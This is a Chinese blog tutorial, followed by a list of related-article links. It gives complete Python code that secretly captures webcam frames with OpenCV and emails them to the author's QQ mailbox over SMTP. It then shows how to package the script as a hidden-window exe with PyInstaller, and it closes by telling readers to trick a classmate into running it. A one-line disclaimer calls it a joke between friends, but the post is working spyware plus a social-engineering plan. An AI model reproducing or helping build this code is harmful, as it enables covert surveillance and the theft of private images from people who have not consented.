用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)


Posted in Python onMay 17, 2020

前言:

如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。

注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。

代码

发送邮件

使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os

def send(img):
  sender = '写你的qq邮箱地址'
  receivers = '写你的qq邮箱地址'
  message = MIMEMultipart('related')
  subject = '终于能发图片了'
  message['Subject'] = subject
  message['From'] = sender
  message['To'] = receivers
  content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
  message.attach(content)
  file = open(img, "rb")
  img_data = file.read()
  file.close()
  img = MIMEImage(img_data)
  img.add_header('Content-ID', 'imageid')
  message.attach(img)

  try:
    server = smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(sender, '写授权码')
    server.sendmail(sender, receivers, message.as_string())
    server.quit()
  except smtplib.SMTPException as e:
    print(e)

打开摄像头并发送图片

我们使用opencv打开笔记本内置的摄像头,不多说上代码

cap = cv2.VideoCapture(0)
for item in range(10):
  cat, frame = cap.read()
  cv2.imwrite('1.png', frame)
  send('1.png')
  os.remove('1.png')

使用pyinstaller将程序打包

好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。

我们使用pyinstaller来打包,没有下载的可以先pip安装

pip install pyinstaller -i https://pypi.douban.com/simple --user

之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。

Pyinstaller -F -w setup.py

注: setup.py 是你的文件名。

然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。

下面就是最关键的一步了!

忽悠同学

找个同学忽悠她一下

用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)

到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木! 

Python 相关文章推荐
Python lambda和Python def区别分析
Nov 30 Python
在Python的setuptools框架下生成egg的教程
Apr 13 Python
使用Python制作获取网站目录的图形化程序
May 04 Python
python虚拟环境的安装配置图文教程
Oct 20 Python
python一键去抖音视频水印工具
Sep 14 Python
Python写一个基于MD5的文件监听程序
Mar 11 Python
Python函数基础实例详解【函数嵌套,命名空间,函数对象,闭包函数等】
Mar 30 Python
python使用pygame模块实现坦克大战游戏
Mar 25 Python
Django使用 Bootstrap 样式修改书籍列表过程解析
Aug 09 Python
Python使用字典实现的简单记事本功能示例
Aug 15 Python
django xadmin 管理器常用显示设置方式
Mar 11 Python
python3字符串输出常见面试题总结
Dec 01 Python
Python键鼠操作自动化库PyAutoGUI简介(小结)
May 17 #Python
python 实现PIL模块在图片画线写字
May 16 #Python
在python image 中实现安装中文字体
May 16 #Python
Python 判断时间是否在时间区间内的实例
May 16 #Python
解决Python Matplotlib绘图数据点位置错乱问题
May 16 #Python
Python填充任意颜色,不同算法时间差异分析说明
May 16 #Python
解决echarts中饼图标签重叠的问题
May 16 #Python
You might like
php 数组的一个悲剧?
2011/05/11 PHP
php的chr和ord函数实现字符加减乘除运算实现代码
2011/12/05 PHP
Thinkphp5.0框架的Db操作实例分析【连接、增删改查、链式操作等】
2019/10/11 PHP
javascript学习笔记(七) js函数介绍
2012/06/19 Javascript
JavaScript中对循环语句的优化技巧深入探讨
2014/06/06 Javascript
jQuery实现带有上下控制按钮的简单多行滚屏效果代码
2015/09/04 Javascript
基于jquery实现省市联动特效
2015/12/17 Javascript
NodeJS和BootStrap分页效果的实现代码
2016/11/07 NodeJs
微信小程序-图片、录音、音频播放、音乐播放、视频、文件代码实例
2016/11/22 Javascript
jquery实现下拉框多选方法介绍
2017/01/03 Javascript
基于ES6作用域和解构赋值详解
2017/11/03 Javascript
vue生命周期和react生命周期对比【推荐】
2018/09/19 Javascript
vue-cli3项目展示本地Markdown文件的方法
2019/06/07 Javascript
vue在线动态切换主题色方案
2020/03/26 Javascript
JS代码简洁方式之函数方法详解
2020/07/28 Javascript
Python解析Excle文件中的数据方法
2018/10/23 Python
Django高级编程之自定义Field实现多语言
2019/07/02 Python
python爬取Ajax动态加载网页过程解析
2019/09/05 Python
python django中8000端口被占用的解决
2019/12/17 Python
tensorflow模型继续训练 fineturn实例
2020/01/21 Python
python+Selenium自动化测试——输入,点击操作
2020/03/06 Python
python实现简单猜单词游戏
2020/12/24 Python
HTML5 移动页面自适应手机屏幕四类方法总结
2017/08/17 HTML / CSS
韩国流行时尚女装网站:Dintchina(中文)
2018/07/19 全球购物
杭州-飞时达软件有限公司.net笔面试
2012/04/28 面试题
.NET现在共支持多少种语言
2014/02/26 面试题
高中毕业自我鉴定
2013/12/19 职场文书
应届本科生推荐信范文
2013/12/25 职场文书
护士自我评价范文
2014/01/25 职场文书
《小山羊和小灰兔》教学反思
2014/02/19 职场文书
小学语文国培感言
2014/03/04 职场文书
新教师个人工作总结
2015/02/06 职场文书
Apache Hudi的多版本清理服务彻底讲解
2022/03/31 Servers
docker-compose部署Yapi的方法
2022/04/08 Servers
Android实现图片九宫格
2022/06/28 Java/Android
Java实现字符串转为驼峰格式的方法详解
2022/07/07 Java/Android